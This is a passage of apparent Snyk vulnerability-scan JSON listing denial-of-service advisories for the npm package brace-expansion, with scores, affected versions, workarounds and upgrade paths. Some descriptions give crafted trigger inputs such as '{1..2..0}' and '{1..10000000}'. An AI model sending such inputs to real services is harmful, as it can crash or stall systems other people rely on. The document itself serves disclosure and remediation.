Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": 